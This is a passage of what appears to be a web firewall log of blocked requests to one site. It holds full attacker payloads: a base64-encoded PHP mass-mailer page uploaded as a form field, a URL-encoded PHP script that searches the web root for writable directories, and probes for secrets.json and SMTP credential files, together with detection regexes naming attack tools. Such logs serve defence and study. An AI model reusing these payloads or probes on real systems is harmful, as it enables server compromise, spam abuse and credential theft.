JhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiAnLiRiaXQ4Lic+OGJpdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uICcuJGJpdDcuJz43Yml0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmluYXJ5Lic+YmluYXJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kYmFzZTY0Lic+YmFzZTY0PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kcXVvdGVkcHJpbnRhYmxlLic+cXVvdGVkLXByaW50YWJsZTwvb3B0aW9uPgoKICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+IG9yIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnZm9ybVwnKS5zdWJtaXQoKTsgcmV0dXJuIGZhbHNlOyI+Y2hlY2sgU3BhbUFzc2Fzc2luIFNjb3JlPC9hPgogICAKICAgICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbC1sZy02Ij48YnI+CiAgICAgICAgPGxhYmVsIGZvcj0id2VsbCI+SW5zdHJ1Y3Rpb248L2xhYmVsPgogICAgICAgIDxkaXYgaWQ9IndlbGwiIGNsYXNzPSJ3ZWxsIHdlbGwiPgogICAgICAgICAgICA8aDQ+U2VydmVyIEluZm9ybWF0aW9uPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNlaXZlciBFbWFpbCA9IDxiPnVzZXJAZG9tYWluLmNvbTwvYj48YnI+CiAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgIDxsaT5oZWxsbyA8Yj5bLWVtYWlsdXNlci1dPC9iPiA9IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGRvbWFpbiBpcyA8Yj5bLWVtYWlsZG9tYWluLV08L2I+ID0gWW91ciBEb21haW4gaXMgPGI+ZG9tYWluLmNvbTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gPSB5b3VyIGNvZGUgaXMgPGI+ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2U8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KCiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vJy4kbGVhZlsnd2Vic2l0ZSddLiciPicuJGxlYWZbJ3dlYnNpdGUnXS4nPC9hPjwvYj48L2g2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+JzsgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy00Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICBpZigkbWVzc2FnZVR5cGU9PTEpewogICAgICAgICAgICAgICAgJG1haWwtPklzSFRNTCh0cnVlKTsKICAgICAgICAgICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsrOwogICAgICAgIGZvcigkayA9IDA7ICRrIDwgNDAwMDA7ICRrKyspIHtlY2hvICcgJzt9CiAgICB9Cgp9CmVsc2VpZigkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKICAgICRtYWlsID0gbmV3IFBIUE1haWxlcjsKICAgICRtYWlsLT5zZXRGcm9tKGxlYWZDbGVhcigkc2VuZGVyRW1haWwsJGVtYWlsKSxsZWFmQ2xlYXIoJHNlbmRlck5hbWUsJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAkbWFpbC0+YWRkQWRkcmVzcygidXNlcm5hbWVAZG9tYWluLmNvbSIpOwogICAgJG1haWwtPlN1YmplY3QgPSBsZWFmQ2xlYXIoJHN1YmplY3QsJGVtYWlsKTsKICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgaWYoJG1lc3NhZ2VUeXBlPT0xKXsKICAgICAgICAkbWFpbC0+SXNIVE1MKHRydWUpOwogICAgICAgICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgIH0KICAgIGVsc2UgJG1haWwtPklzSFRNTChmYWxzZSk7CiAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgJG1haWwtPkVuY29kaW5nID0gJGVuY29kaW5nOwogICAgJG1haWwtPnByZVNlbmQoKTsKICAgICRtZXNzYWdlSGVhZGVycz0kbWFpbC0+Z2V0U2VudE1JTUVNZXNzYWdlKCk7CiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3NwYW1jaGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7\"));\n?>\r\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--606de2a75021cc812c3ec25082280d87--\r\n"]
["2026-04-13 20:20:23","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> gJ:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3339\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\ngJ=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-13 20:59:27","34.186.187.208","HEAD","\/secrets.json","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/secrets.json HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/secrets.json\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 20:59:27","34.186.187.208","GET","\/secrets.json","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/secrets.json HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/secrets.json\nrange:bytes=0-1023\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 20:59:27","34.186.187.208","HEAD","\/credentials\/smtp.json","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","HEAD \/credentials\/smtp.json HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/credentials\/smtp.json\nuser-agent:iaudit\/0.1\n\n"]
["2026-04-13 20:59:28","34.186.187.208","GET","\/credentials\/smtp.json","iaudit\/0.1","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:iaudit\/0.1","GET \/credentials\/smtp.json HTTP\/1.1\nhost:dewenlabels.com\nreferer:http:\/\/dewenlabels.com:80\/credentials\/smtp.json\nrange:bytes=0-1023\nuser-agent:iaudit\/0.1\n\n"]
